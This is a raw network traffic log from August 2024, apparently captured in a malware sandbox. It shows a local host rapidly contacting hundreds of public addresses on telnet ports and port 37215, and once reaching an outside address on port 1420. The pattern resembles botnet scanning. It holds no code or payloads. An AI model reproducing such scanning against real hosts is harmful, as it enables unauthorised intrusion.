Aug 17, 2024 01:01:51.563855886 CEST	24911	37215	192.168.2.13	197.238.70.52
Aug 17, 2024 01:01:51.563858032 CEST	23	24655	208.205.104.90	192.168.2.13
Aug 17, 2024 01:01:51.563858032 CEST	24911	37215	192.168.2.13	41.191.142.5
Aug 17, 2024 01:01:51.563863039 CEST	24911	37215	192.168.2.13	156.53.226.211
Aug 17, 2024 01:01:51.563868046 CEST	2323	24655	196.68.18.85	192.168.2.13
Aug 17, 2024 01:01:51.563873053 CEST	24655	23	192.168.2.13	196.152.162.59
Aug 17, 2024 01:01:51.563874006 CEST	24655	23	192.168.2.13	202.5.212.63
Aug 17, 2024 01:01:51.563879967 CEST	23	24655	5.85.176.15	192.168.2.13
Aug 17, 2024 01:01:51.563890934 CEST	23	24655	116.210.127.6	192.168.2.13
Aug 17, 2024 01:01:51.563891888 CEST	24911	37215	192.168.2.13	156.193.231.195
Aug 17, 2024 01:01:51.563893080 CEST	24911	37215	192.168.2.13	41.207.9.182
Aug 17, 2024 01:01:51.563893080 CEST	24655	23	192.168.2.13	208.205.104.90
Aug 17, 2024 01:01:51.563891888 CEST	24911	37215	192.168.2.13	41.181.22.57
Aug 17, 2024 01:01:51.563901901 CEST	23	24655	64.18.157.82	192.168.2.13
Aug 17, 2024 01:01:51.563903093 CEST	24655	2323	192.168.2.13	196.68.18.85
Aug 17, 2024 01:01:51.563908100 CEST	24911	37215	192.168.2.13	197.79.94.255
Aug 17, 2024 01:01:51.563911915 CEST	24655	23	192.168.2.13	5.85.176.15
Aug 17, 2024 01:01:51.563913107 CEST	23	24655	136.101.51.71	192.168.2.13
Aug 17, 2024 01:01:51.563920975 CEST	24655	23	192.168.2.13	116.210.127.6
Aug 17, 2024 01:01:51.563922882 CEST	23	24655	105.243.164.44	192.168.2.13
Aug 17, 2024 01:01:51.563926935 CEST	24911	37215	192.168.2.13	156.156.182.65
Aug 17, 2024 01:01:51.563930988 CEST	24911	37215	192.168.2.13	41.110.54.116
Aug 17, 2024 01:01:51.563932896 CEST	23	24655	152.71.25.19	192.168.2.13
Aug 17, 2024 01:01:51.563935995 CEST	24655	23	192.168.2.13	64.18.157.82
Aug 17, 2024 01:01:51.563941002 CEST	24655	23	192.168.2.13	136.101.51.71
Aug 17, 2024 01:01:51.563941956 CEST	23	24655	95.155.33.18	192.168.2.13
Aug 17, 2024 01:01:51.563950062 CEST	23	24655	87.118.40.221	192.168.2.13
Aug 17, 2024 01:01:51.563955069 CEST	24655	23	192.168.2.13	105.243.164.44
Aug 17, 2024 01:01:51.563958883 CEST	23	24655	76.208.44.46	192.168.2.13
Aug 17, 2024 01:01:51.563960075 CEST	24655	23	192.168.2.13	152.71.25.19
Aug 17, 2024 01:01:51.563967943 CEST	2323	24655	71.10.24.113	192.168.2.13
Aug 17, 2024 01:01:51.563976049 CEST	24655	23	192.168.2.13	95.155.33.18
Aug 17, 2024 01:01:51.563976049 CEST	24655	23	192.168.2.13	87.118.40.221
Aug 17, 2024 01:01:51.563977003 CEST	23	24655	161.234.65.69	192.168.2.13
Aug 17, 2024 01:01:51.563983917 CEST	24655	23	192.168.2.13	76.208.44.46
Aug 17, 2024 01:01:51.563987970 CEST	23	24655	185.148.21.155	192.168.2.13
Aug 17, 2024 01:01:51.563998938 CEST	24911	37215	192.168.2.13	41.96.130.204
Aug 17, 2024 01:01:51.563999891 CEST	23	24655	152.200.229.200	192.168.2.13
Aug 17, 2024 01:01:51.564004898 CEST	24655	2323	192.168.2.13	71.10.24.113
Aug 17, 2024 01:01:51.564009905 CEST	24655	23	192.168.2.13	161.234.65.69
Aug 17, 2024 01:01:51.564012051 CEST	23	24655	147.149.234.255	192.168.2.13
Aug 17, 2024 01:01:51.564026117 CEST	23	24655	180.205.77.190	192.168.2.13
Aug 17, 2024 01:01:51.564034939 CEST	23	24655	135.66.108.169	192.168.2.13
Aug 17, 2024 01:01:51.564034939 CEST	24655	23	192.168.2.13	185.148.21.155
Aug 17, 2024 01:01:51.564034939 CEST	24911	37215	192.168.2.13	156.248.31.35
Aug 17, 2024 01:01:51.564037085 CEST	24911	37215	192.168.2.13	41.2.47.233
Aug 17, 2024 01:01:51.564039946 CEST	24655	23	192.168.2.13	152.200.229.200
Aug 17, 2024 01:01:51.564043045 CEST	24911	37215	192.168.2.13	156.49.93.15
Aug 17, 2024 01:01:51.564043045 CEST	24911	37215	192.168.2.13	156.228.41.177
Aug 17, 2024 01:01:51.564043045 CEST	24655	23	192.168.2.13	147.149.234.255
Aug 17, 2024 01:01:51.564044952 CEST	23	24655	201.46.130.188	192.168.2.13
Aug 17, 2024 01:01:51.564044952 CEST	24911	37215	192.168.2.13	156.53.1.255
Aug 17, 2024 01:01:51.564053059 CEST	24911	37215	192.168.2.13	41.42.223.43
Aug 17, 2024 01:01:51.564054966 CEST	23	24655	86.99.100.201	192.168.2.13
Aug 17, 2024 01:01:51.564058065 CEST	24655	23	192.168.2.13	180.205.77.190
Aug 17, 2024 01:01:51.564058065 CEST	24911	37215	192.168.2.13	197.32.202.143
Aug 17, 2024 01:01:51.564058065 CEST	24911	37215	192.168.2.13	41.27.100.224
Aug 17, 2024 01:01:51.564058065 CEST	24911	37215	192.168.2.13	41.76.157.189
Aug 17, 2024 01:01:51.564063072 CEST	24911	37215	192.168.2.13	41.189.51.187
Aug 17, 2024 01:01:51.564064026 CEST	23	24655	172.175.167.2	192.168.2.13
Aug 17, 2024 01:01:51.564064980 CEST	24655	23	192.168.2.13	135.66.108.169
Aug 17, 2024 01:01:51.564064980 CEST	24911	37215	192.168.2.13	156.186.40.160
Aug 17, 2024 01:01:51.564064980 CEST	24655	23	192.168.2.13	201.46.130.188
Aug 17, 2024 01:01:51.564079046 CEST	24655	23	192.168.2.13	86.99.100.201
Aug 17, 2024 01:01:51.564085007 CEST	24911	37215	192.168.2.13	156.169.4.181
Aug 17, 2024 01:01:51.564096928 CEST	24655	23	192.168.2.13	172.175.167.2
Aug 17, 2024 01:01:51.564106941 CEST	24911	37215	192.168.2.13	41.254.27.214
Aug 17, 2024 01:01:51.564111948 CEST	24911	37215	192.168.2.13	156.193.141.16
Aug 17, 2024 01:01:51.564111948 CEST	24911	37215	192.168.2.13	197.10.174.8
Aug 17, 2024 01:01:51.564122915 CEST	24911	37215	192.168.2.13	197.132.104.108
Aug 17, 2024 01:01:51.564133883 CEST	24911	37215	192.168.2.13	41.214.80.35
Aug 17, 2024 01:01:51.564152956 CEST	24911	37215	192.168.2.13	197.177.251.237
Aug 17, 2024 01:01:51.564155102 CEST	24911	37215	192.168.2.13	156.108.11.34
Aug 17, 2024 01:01:51.564165115 CEST	24911	37215	192.168.2.13	197.241.230.20
Aug 17, 2024 01:01:51.564176083 CEST	24911	37215	192.168.2.13	41.244.17.16
Aug 17, 2024 01:01:51.564176083 CEST	24911	37215	192.168.2.13	197.22.217.137
Aug 17, 2024 01:01:51.564179897 CEST	24911	37215	192.168.2.13	41.88.12.165
Aug 17, 2024 01:01:51.564182997 CEST	24911	37215	192.168.2.13	156.97.221.58
Aug 17, 2024 01:01:51.564187050 CEST	24911	37215	192.168.2.13	156.54.97.135
Aug 17, 2024 01:01:51.564188004 CEST	24911	37215	192.168.2.13	197.186.5.0
Aug 17, 2024 01:01:51.564194918 CEST	24911	37215	192.168.2.13	156.102.161.60
Aug 17, 2024 01:01:51.564198017 CEST	24911	37215	192.168.2.13	41.171.186.129
Aug 17, 2024 01:01:51.564220905 CEST	24911	37215	192.168.2.13	41.182.241.161
Aug 17, 2024 01:01:51.564222097 CEST	24911	37215	192.168.2.13	197.72.54.101
Aug 17, 2024 01:01:51.564243078 CEST	24911	37215	192.168.2.13	41.239.150.78
Aug 17, 2024 01:01:51.564244986 CEST	24911	37215	192.168.2.13	41.159.62.128
Aug 17, 2024 01:01:51.564244986 CEST	24911	37215	192.168.2.13	156.10.76.136
Aug 17, 2024 01:01:51.564258099 CEST	24911	37215	192.168.2.13	197.10.125.221
Aug 17, 2024 01:01:51.564256907 CEST	24911	37215	192.168.2.13	41.252.89.8
Aug 17, 2024 01:01:51.564256907 CEST	24911	37215	192.168.2.13	156.214.100.68
Aug 17, 2024 01:01:51.564263105 CEST	24911	37215	192.168.2.13	156.130.136.31
Aug 17, 2024 01:01:51.564264059 CEST	24911	37215	192.168.2.13	156.13.81.217
Aug 17, 2024 01:01:51.564265013 CEST	24911	37215	192.168.2.13	197.159.98.13
Aug 17, 2024 01:01:51.564275026 CEST	24911	37215	192.168.2.13	156.243.140.57
Aug 17, 2024 01:01:51.564282894 CEST	24911	37215	192.168.2.13	156.24.89.59
Aug 17, 2024 01:01:51.564287901 CEST	24911	37215	192.168.2.13	197.194.116.5
Aug 17, 2024 01:01:51.564290047 CEST	24911	37215	192.168.2.13	156.112.134.167
Aug 17, 2024 01:01:51.564307928 CEST	24911	37215	192.168.2.13	41.14.225.167
Aug 17, 2024 01:01:51.564311981 CEST	24911	37215	192.168.2.13	41.189.176.32
Aug 17, 2024 01:01:51.564311981 CEST	24911	37215	192.168.2.13	197.145.201.177
Aug 17, 2024 01:01:51.564311981 CEST	24911	37215	192.168.2.13	197.198.91.160
Aug 17, 2024 01:01:51.564321995 CEST	24911	37215	192.168.2.13	156.131.160.70
Aug 17, 2024 01:01:51.564321995 CEST	24911	37215	192.168.2.13	156.40.45.93
Aug 17, 2024 01:01:51.564326048 CEST	24911	37215	192.168.2.13	41.89.90.105
Aug 17, 2024 01:01:51.564342976 CEST	24911	37215	192.168.2.13	41.253.129.75
Aug 17, 2024 01:01:51.564343929 CEST	24911	37215	192.168.2.13	41.146.199.34
Aug 17, 2024 01:01:51.564344883 CEST	24911	37215	192.168.2.13	156.153.212.252
Aug 17, 2024 01:01:51.565470934 CEST	37215	24911	197.134.73.170	192.168.2.13
Aug 17, 2024 01:01:51.565479994 CEST	37215	24911	197.92.245.152	192.168.2.13
Aug 17, 2024 01:01:51.565484047 CEST	37215	24911	156.4.205.159	192.168.2.13
Aug 17, 2024 01:01:51.565501928 CEST	24911	37215	192.168.2.13	197.134.73.170
Aug 17, 2024 01:01:51.565512896 CEST	24911	37215	192.168.2.13	156.4.205.159
Aug 17, 2024 01:01:51.565514088 CEST	24911	37215	192.168.2.13	197.92.245.152
Aug 17, 2024 01:01:51.565737009 CEST	37215	24911	197.40.44.56	192.168.2.13
Aug 17, 2024 01:01:51.565748930 CEST	37215	24911	197.253.167.187	192.168.2.13
Aug 17, 2024 01:01:51.565758944 CEST	37215	24911	197.33.40.136	192.168.2.13
Aug 17, 2024 01:01:51.565776110 CEST	37215	24911	41.132.36.23	192.168.2.13
Aug 17, 2024 01:01:51.565785885 CEST	37215	24911	156.199.58.75	192.168.2.13
Aug 17, 2024 01:01:51.565787077 CEST	24911	37215	192.168.2.13	197.253.167.187
Aug 17, 2024 01:01:51.565794945 CEST	37215	24911	41.200.206.226	192.168.2.13
Aug 17, 2024 01:01:51.565794945 CEST	24911	37215	192.168.2.13	197.40.44.56
Aug 17, 2024 01:01:51.565795898 CEST	24911	37215	192.168.2.13	197.33.40.136
Aug 17, 2024 01:01:51.565802097 CEST	24911	37215	192.168.2.13	41.132.36.23
Aug 17, 2024 01:01:51.565820932 CEST	24911	37215	192.168.2.13	156.199.58.75
Aug 17, 2024 01:01:51.565826893 CEST	24911	37215	192.168.2.13	41.200.206.226
Aug 17, 2024 01:01:51.566200018 CEST	37215	24911	197.192.68.27	192.168.2.13
Aug 17, 2024 01:01:51.566207886 CEST	37215	24911	156.146.125.170	192.168.2.13
Aug 17, 2024 01:01:51.566216946 CEST	37215	24911	41.169.106.62	192.168.2.13
Aug 17, 2024 01:01:51.566226006 CEST	37215	24911	41.176.244.148	192.168.2.13
Aug 17, 2024 01:01:51.566236973 CEST	24911	37215	192.168.2.13	197.192.68.27
Aug 17, 2024 01:01:51.566246033 CEST	24911	37215	192.168.2.13	156.146.125.170
Aug 17, 2024 01:01:51.566246986 CEST	24911	37215	192.168.2.13	41.169.106.62
Aug 17, 2024 01:01:51.566250086 CEST	24911	37215	192.168.2.13	41.176.244.148
Aug 17, 2024 01:01:51.566251040 CEST	37215	24911	197.253.171.12	192.168.2.13
Aug 17, 2024 01:01:51.566261053 CEST	37215	24911	156.119.14.193	192.168.2.13
Aug 17, 2024 01:01:51.566272974 CEST	37215	24911	156.160.188.179	192.168.2.13
Aug 17, 2024 01:01:51.566281080 CEST	37215	24911	197.203.217.254	192.168.2.13
Aug 17, 2024 01:01:51.566289902 CEST	24911	37215	192.168.2.13	197.253.171.12
Aug 17, 2024 01:01:51.566289902 CEST	37215	24911	197.4.25.105	192.168.2.13
Aug 17, 2024 01:01:51.566289902 CEST	24911	37215	192.168.2.13	156.119.14.193
Aug 17, 2024 01:01:51.566298962 CEST	24911	37215	192.168.2.13	156.160.188.179
Aug 17, 2024 01:01:51.566301107 CEST	37215	24911	197.172.37.162	192.168.2.13
Aug 17, 2024 01:01:51.566310883 CEST	24911	37215	192.168.2.13	197.203.217.254
Aug 17, 2024 01:01:51.566312075 CEST	37215	24911	197.64.116.109	192.168.2.13
Aug 17, 2024 01:01:51.566320896 CEST	37215	24911	41.24.191.230	192.168.2.13
Aug 17, 2024 01:01:51.566329956 CEST	37215	24911	41.129.13.215	192.168.2.13
Aug 17, 2024 01:01:51.566329956 CEST	24911	37215	192.168.2.13	197.4.25.105
Aug 17, 2024 01:01:51.566338062 CEST	37215	24911	156.162.192.34	192.168.2.13
Aug 17, 2024 01:01:51.566340923 CEST	24911	37215	192.168.2.13	197.172.37.162
Aug 17, 2024 01:01:51.566340923 CEST	24911	37215	192.168.2.13	197.64.116.109
Aug 17, 2024 01:01:51.566345930 CEST	37215	24911	156.42.44.35	192.168.2.13
Aug 17, 2024 01:01:51.566348076 CEST	24911	37215	192.168.2.13	41.24.191.230
Aug 17, 2024 01:01:51.566354990 CEST	37215	24911	41.180.77.119	192.168.2.13
Aug 17, 2024 01:01:51.566355944 CEST	24911	37215	192.168.2.13	41.129.13.215
Aug 17, 2024 01:01:51.566364050 CEST	37215	24911	41.252.234.209	192.168.2.13
Aug 17, 2024 01:01:51.566368103 CEST	24911	37215	192.168.2.13	156.162.192.34
Aug 17, 2024 01:01:51.566373110 CEST	37215	24911	197.89.192.144	192.168.2.13
Aug 17, 2024 01:01:51.566376925 CEST	24911	37215	192.168.2.13	156.42.44.35
Aug 17, 2024 01:01:51.566378117 CEST	24911	37215	192.168.2.13	41.180.77.119
Aug 17, 2024 01:01:51.566384077 CEST	37215	24911	197.239.232.194	192.168.2.13
Aug 17, 2024 01:01:51.566391945 CEST	24911	37215	192.168.2.13	41.252.234.209
Aug 17, 2024 01:01:51.566397905 CEST	37215	24911	41.52.224.118	192.168.2.13
Aug 17, 2024 01:01:51.566401958 CEST	24911	37215	192.168.2.13	197.89.192.144
Aug 17, 2024 01:01:51.566406965 CEST	37215	24911	197.129.1.124	192.168.2.13
Aug 17, 2024 01:01:51.566415071 CEST	37215	24911	41.160.80.78	192.168.2.13
Aug 17, 2024 01:01:51.566418886 CEST	24911	37215	192.168.2.13	197.239.232.194
Aug 17, 2024 01:01:51.566425085 CEST	37215	24911	156.94.26.172	192.168.2.13
Aug 17, 2024 01:01:51.566427946 CEST	24911	37215	192.168.2.13	197.129.1.124
Aug 17, 2024 01:01:51.566428900 CEST	24911	37215	192.168.2.13	41.52.224.118
Aug 17, 2024 01:01:51.566432953 CEST	37215	24911	156.251.150.222	192.168.2.13
Aug 17, 2024 01:01:51.566443920 CEST	37215	24911	156.213.139.78	192.168.2.13
Aug 17, 2024 01:01:51.566447020 CEST	24911	37215	192.168.2.13	41.160.80.78
Aug 17, 2024 01:01:51.566452026 CEST	37215	24911	156.80.9.191	192.168.2.13
Aug 17, 2024 01:01:51.566454887 CEST	24911	37215	192.168.2.13	156.94.26.172
Aug 17, 2024 01:01:51.566457987 CEST	24911	37215	192.168.2.13	156.251.150.222
Aug 17, 2024 01:01:51.566463947 CEST	37215	24911	41.57.212.72	192.168.2.13
Aug 17, 2024 01:01:51.566463947 CEST	24911	37215	192.168.2.13	156.213.139.78
Aug 17, 2024 01:01:51.566482067 CEST	24911	37215	192.168.2.13	156.80.9.191
Aug 17, 2024 01:01:51.566498041 CEST	24911	37215	192.168.2.13	41.57.212.72
Aug 17, 2024 01:01:51.566649914 CEST	37215	24911	197.82.116.206	192.168.2.13
Aug 17, 2024 01:01:51.566658974 CEST	37215	24911	197.134.170.20	192.168.2.13
Aug 17, 2024 01:01:51.566668034 CEST	37215	24911	197.55.145.114	192.168.2.13
Aug 17, 2024 01:01:51.566692114 CEST	24911	37215	192.168.2.13	197.82.116.206
Aug 17, 2024 01:01:51.566692114 CEST	24911	37215	192.168.2.13	197.55.145.114
Aug 17, 2024 01:01:51.566695929 CEST	24911	37215	192.168.2.13	197.134.170.20
Aug 17, 2024 01:01:51.566700935 CEST	37215	24911	197.118.35.21	192.168.2.13
Aug 17, 2024 01:01:51.566710949 CEST	37215	24911	156.18.66.116	192.168.2.13
Aug 17, 2024 01:01:51.566718102 CEST	37215	24911	156.176.121.224	192.168.2.13
Aug 17, 2024 01:01:51.566737890 CEST	24911	37215	192.168.2.13	197.118.35.21
Aug 17, 2024 01:01:51.566751957 CEST	24911	37215	192.168.2.13	156.176.121.224
Aug 17, 2024 01:01:51.566756964 CEST	24911	37215	192.168.2.13	156.18.66.116
Aug 17, 2024 01:01:51.566778898 CEST	37215	24911	156.63.134.230	192.168.2.13
Aug 17, 2024 01:01:51.566788912 CEST	37215	24911	41.198.63.23	192.168.2.13
Aug 17, 2024 01:01:51.566797972 CEST	37215	24911	41.53.245.116	192.168.2.13
Aug 17, 2024 01:01:51.566807032 CEST	37215	24911	41.228.69.41	192.168.2.13
Aug 17, 2024 01:01:51.566814899 CEST	24911	37215	192.168.2.13	156.63.134.230
Aug 17, 2024 01:01:51.566816092 CEST	37215	24911	41.154.52.102	192.168.2.13
Aug 17, 2024 01:01:51.566814899 CEST	24911	37215	192.168.2.13	41.198.63.23
Aug 17, 2024 01:01:51.566821098 CEST	37215	24911	41.20.173.91	192.168.2.13
Aug 17, 2024 01:01:51.566827059 CEST	24911	37215	192.168.2.13	41.53.245.116
Aug 17, 2024 01:01:51.566831112 CEST	37215	24911	197.33.248.216	192.168.2.13
Aug 17, 2024 01:01:51.566842079 CEST	37215	24911	156.6.188.205	192.168.2.13
Aug 17, 2024 01:01:51.566845894 CEST	24911	37215	192.168.2.13	41.20.173.91
Aug 17, 2024 01:01:51.566850901 CEST	24911	37215	192.168.2.13	41.228.69.41
Aug 17, 2024 01:01:51.566850901 CEST	37215	24911	41.15.52.191	192.168.2.13
Aug 17, 2024 01:01:51.566853046 CEST	24911	37215	192.168.2.13	41.154.52.102
Aug 17, 2024 01:01:51.566860914 CEST	24911	37215	192.168.2.13	197.33.248.216
Aug 17, 2024 01:01:51.566862106 CEST	37215	24911	197.20.0.149	192.168.2.13
Aug 17, 2024 01:01:51.566871881 CEST	37215	24911	197.207.57.76	192.168.2.13
Aug 17, 2024 01:01:51.566874981 CEST	24911	37215	192.168.2.13	156.6.188.205
Aug 17, 2024 01:01:51.566880941 CEST	37215	24911	41.171.56.168	192.168.2.13
Aug 17, 2024 01:01:51.566890001 CEST	24911	37215	192.168.2.13	41.15.52.191
Aug 17, 2024 01:01:51.566890955 CEST	37215	24911	156.246.199.50	192.168.2.13
Aug 17, 2024 01:01:51.566900969 CEST	24911	37215	192.168.2.13	197.207.57.76
Aug 17, 2024 01:01:51.566901922 CEST	24911	37215	192.168.2.13	197.20.0.149
Aug 17, 2024 01:01:51.566905022 CEST	37215	24911	41.179.81.67	192.168.2.13
Aug 17, 2024 01:01:51.566910028 CEST	24911	37215	192.168.2.13	41.171.56.168
Aug 17, 2024 01:01:51.566915035 CEST	24911	37215	192.168.2.13	156.246.199.50
Aug 17, 2024 01:01:51.566915989 CEST	37215	24911	41.242.140.198	192.168.2.13
Aug 17, 2024 01:01:51.566937923 CEST	37215	24911	41.145.216.112	192.168.2.13
Aug 17, 2024 01:01:51.566937923 CEST	24911	37215	192.168.2.13	41.179.81.67
Aug 17, 2024 01:01:51.566937923 CEST	24911	37215	192.168.2.13	41.242.140.198
Aug 17, 2024 01:01:51.566946983 CEST	37215	24911	197.27.59.110	192.168.2.13
Aug 17, 2024 01:01:51.566955090 CEST	37215	24911	156.246.55.201	192.168.2.13
Aug 17, 2024 01:01:51.566963911 CEST	37215	24911	156.75.251.173	192.168.2.13
Aug 17, 2024 01:01:51.566967010 CEST	37215	24911	41.70.233.248	192.168.2.13
Aug 17, 2024 01:01:51.566971064 CEST	24911	37215	192.168.2.13	41.145.216.112
Aug 17, 2024 01:01:51.566976070 CEST	24911	37215	192.168.2.13	197.27.59.110
Aug 17, 2024 01:01:51.566976070 CEST	37215	24911	197.53.233.6	192.168.2.13
Aug 17, 2024 01:01:51.566986084 CEST	37215	24911	156.234.225.254	192.168.2.13
Aug 17, 2024 01:01:51.566996098 CEST	24911	37215	192.168.2.13	156.246.55.201
Aug 17, 2024 01:01:51.566996098 CEST	24911	37215	192.168.2.13	41.70.233.248
Aug 17, 2024 01:01:51.566998005 CEST	24911	37215	192.168.2.13	156.75.251.173
Aug 17, 2024 01:01:51.567004919 CEST	24911	37215	192.168.2.13	197.53.233.6
Aug 17, 2024 01:01:51.567013025 CEST	24911	37215	192.168.2.13	156.234.225.254
Aug 17, 2024 01:01:51.567111969 CEST	37215	24911	41.109.176.79	192.168.2.13
Aug 17, 2024 01:01:51.567121983 CEST	37215	24911	41.47.130.185	192.168.2.13
Aug 17, 2024 01:01:51.567128897 CEST	37215	24911	197.178.25.54	192.168.2.13
Aug 17, 2024 01:01:51.567137957 CEST	37215	24911	156.247.59.73	192.168.2.13
Aug 17, 2024 01:01:51.567146063 CEST	24911	37215	192.168.2.13	41.109.176.79
Aug 17, 2024 01:01:51.567147017 CEST	37215	24911	197.101.32.110	192.168.2.13
Aug 17, 2024 01:01:51.567152977 CEST	24911	37215	192.168.2.13	41.47.130.185
Aug 17, 2024 01:01:51.567157984 CEST	37215	24911	41.108.200.158	192.168.2.13
Aug 17, 2024 01:01:51.567167044 CEST	37215	24911	156.66.41.51	192.168.2.13
Aug 17, 2024 01:01:51.567167044 CEST	24911	37215	192.168.2.13	156.247.59.73
Aug 17, 2024 01:01:51.567167997 CEST	24911	37215	192.168.2.13	197.178.25.54
Aug 17, 2024 01:01:51.567178011 CEST	37215	24911	156.240.164.252	192.168.2.13
Aug 17, 2024 01:01:51.567178965 CEST	24911	37215	192.168.2.13	197.101.32.110
Aug 17, 2024 01:01:51.567181110 CEST	24911	37215	192.168.2.13	41.108.200.158
Aug 17, 2024 01:01:51.567192078 CEST	37215	24911	156.109.46.155	192.168.2.13
Aug 17, 2024 01:01:51.567200899 CEST	37215	24911	156.77.26.3	192.168.2.13
Aug 17, 2024 01:01:51.567214012 CEST	24911	37215	192.168.2.13	156.66.41.51
Aug 17, 2024 01:01:51.567214012 CEST	24911	37215	192.168.2.13	156.240.164.252
Aug 17, 2024 01:01:51.567229986 CEST	24911	37215	192.168.2.13	156.109.46.155
Aug 17, 2024 01:01:51.567231894 CEST	24911	37215	192.168.2.13	156.77.26.3
Aug 17, 2024 01:01:51.567234039 CEST	37215	24911	41.255.127.91	192.168.2.13
Aug 17, 2024 01:01:51.567244053 CEST	37215	24911	156.20.56.208	192.168.2.13
Aug 17, 2024 01:01:51.567251921 CEST	37215	24911	41.249.27.47	192.168.2.13
Aug 17, 2024 01:01:51.567262888 CEST	37215	24911	41.59.232.105	192.168.2.13
Aug 17, 2024 01:01:51.567270041 CEST	24911	37215	192.168.2.13	41.255.127.91
Aug 17, 2024 01:01:51.567271948 CEST	37215	24911	41.100.15.226	192.168.2.13
Aug 17, 2024 01:01:51.567272902 CEST	24911	37215	192.168.2.13	156.20.56.208
Aug 17, 2024 01:01:51.567281008 CEST	37215	24911	156.133.162.89	192.168.2.13
Aug 17, 2024 01:01:51.567286968 CEST	24911	37215	192.168.2.13	41.249.27.47
Aug 17, 2024 01:01:51.567286968 CEST	24911	37215	192.168.2.13	41.59.232.105
Aug 17, 2024 01:01:51.567291021 CEST	37215	24911	197.198.123.23	192.168.2.13
Aug 17, 2024 01:01:51.567293882 CEST	24911	37215	192.168.2.13	41.100.15.226
Aug 17, 2024 01:01:51.567301035 CEST	37215	24911	156.26.77.86	192.168.2.13
Aug 17, 2024 01:01:51.567310095 CEST	37215	24911	156.93.225.165	192.168.2.13
Aug 17, 2024 01:01:51.567315102 CEST	24911	37215	192.168.2.13	197.198.123.23
Aug 17, 2024 01:01:51.567318916 CEST	37215	24911	41.120.250.149	192.168.2.13
Aug 17, 2024 01:01:51.567322016 CEST	24911	37215	192.168.2.13	156.133.162.89
Aug 17, 2024 01:01:51.567329884 CEST	37215	24911	41.169.24.194	192.168.2.13
Aug 17, 2024 01:01:51.567336082 CEST	24911	37215	192.168.2.13	156.26.77.86
Aug 17, 2024 01:01:51.567336082 CEST	24911	37215	192.168.2.13	156.93.225.165
Aug 17, 2024 01:01:51.567339897 CEST	37215	24911	156.130.74.237	192.168.2.13
Aug 17, 2024 01:01:51.567352057 CEST	37215	24911	41.146.30.215	192.168.2.13
Aug 17, 2024 01:01:51.567353010 CEST	24911	37215	192.168.2.13	41.120.250.149
Aug 17, 2024 01:01:51.567365885 CEST	24911	37215	192.168.2.13	41.169.24.194
Aug 17, 2024 01:01:51.567368984 CEST	37215	24911	156.254.254.127	192.168.2.13
Aug 17, 2024 01:01:51.567370892 CEST	24911	37215	192.168.2.13	156.130.74.237
Aug 17, 2024 01:01:51.567385912 CEST	24911	37215	192.168.2.13	41.146.30.215
Aug 17, 2024 01:01:51.567387104 CEST	37215	24911	41.118.68.121	192.168.2.13
Aug 17, 2024 01:01:51.567397118 CEST	37215	24911	197.19.137.9	192.168.2.13
Aug 17, 2024 01:01:51.567403078 CEST	24911	37215	192.168.2.13	156.254.254.127
Aug 17, 2024 01:01:51.567405939 CEST	37215	24911	156.13.184.139	192.168.2.13
Aug 17, 2024 01:01:51.567419052 CEST	37215	24911	156.129.124.119	192.168.2.13
Aug 17, 2024 01:01:51.567420006 CEST	24911	37215	192.168.2.13	197.19.137.9
Aug 17, 2024 01:01:51.567424059 CEST	24911	37215	192.168.2.13	41.118.68.121
Aug 17, 2024 01:01:51.567430019 CEST	37215	24911	156.73.242.6	192.168.2.13
Aug 17, 2024 01:01:51.567442894 CEST	24911	37215	192.168.2.13	156.13.184.139
Aug 17, 2024 01:01:51.567442894 CEST	24911	37215	192.168.2.13	156.129.124.119
Aug 17, 2024 01:01:51.567449093 CEST	37215	24911	41.19.24.167	192.168.2.13
Aug 17, 2024 01:01:51.567457914 CEST	24911	37215	192.168.2.13	156.73.242.6
Aug 17, 2024 01:01:51.567459106 CEST	37215	24911	197.191.114.215	192.168.2.13
Aug 17, 2024 01:01:51.567476988 CEST	37215	24911	197.6.31.21	192.168.2.13
Aug 17, 2024 01:01:51.567482948 CEST	24911	37215	192.168.2.13	41.19.24.167
Aug 17, 2024 01:01:51.567482948 CEST	55076	1420	192.168.2.13	45.202.35.22
Aug 17, 2024 01:01:51.567487001 CEST	37215	24911	41.66.17.204	192.168.2.13
Aug 17, 2024 01:01:51.567495108 CEST	24911	37215	192.168.2.13	197.191.114.215
Aug 17, 2024 01:01:51.567497969 CEST	37215	24911	156.125.191.198	192.168.2.13
Aug 17, 2024 01:01:51.567504883 CEST	24911	37215	192.168.2.13	197.6.31.21
Aug 17, 2024 01:01:51.567507982 CEST	37215	24911	156.34.243.228	192.168.2.13
Aug 17, 2024 01:01:51.567521095 CEST	37215	24911	197.146.176.2	192.168.2.13
Aug 17, 2024 01:01:51.567526102 CEST	24911	37215	192.168.2.13	41.66.17.204
Aug 17, 2024 01:01:51.567526102 CEST	24911	37215	192.168.2.13	156.125.191.198
Aug 17, 2024 01:01:51.567531109 CEST	37215	24911	156.108.21.125	192.168.2.13
Aug 17, 2024 01:01:51.567538977 CEST	37215	24911	197.123.24.112	192.168.2.13
Aug 17, 2024 01:01:51.567543030 CEST	37215	24911	41.65.91.127	192.168.2.13
Aug 17, 2024 01:01:51.567543983 CEST	24911	37215	192.168.2.13	156.34.243.228
Aug 17, 2024 01:01:51.567553043 CEST	37215	24911	41.170.171.164	192.168.2.13
Aug 17, 2024 01:01:51.567559004 CEST	24911	37215	192.168.2.13	197.146.176.2
Aug 17, 2024 01:01:51.567559004 CEST	24911	37215	192.168.2.13	197.123.24.112
Aug 17, 2024 01:01:51.567563057 CEST	37215	24911	197.169.43.8	192.168.2.13
Aug 17, 2024 01:01:51.567565918 CEST	24911	37215	192.168.2.13	156.108.21.125
Aug 17, 2024 01:01:51.567567110 CEST	24911	37215	192.168.2.13	41.65.91.127
Aug 17, 2024 01:01:51.567580938 CEST	24911	37215	192.168.2.13	41.170.171.164
Aug 17, 2024 01:01:51.567595959 CEST	24911	37215	192.168.2.13	197.169.43.8
Aug 17, 2024 01:01:51.567754030 CEST	37215	24911	156.211.146.152	192.168.2.13
Aug 17, 2024 01:01:51.567763090 CEST	37215	24911	41.224.16.145	192.168.2.13
Aug 17, 2024 01:01:51.567771912 CEST	37215	24911	41.69.178.154	192.168.2.13
Aug 17, 2024 01:01:51.567786932 CEST	24911	37215	192.168.2.13	156.211.146.152
Aug 17, 2024 01:01:51.567790985 CEST	24911	37215	192.168.2.13	41.224.16.145
Aug 17, 2024 01:01:51.567792892 CEST	37215	24911	156.30.136.95	192.168.2.13
Aug 17, 2024 01:01:51.567804098 CEST	37215	24911	197.99.101.55	192.168.2.13
Aug 17, 2024 01:01:51.567804098 CEST	24911	37215	192.168.2.13	41.69.178.154
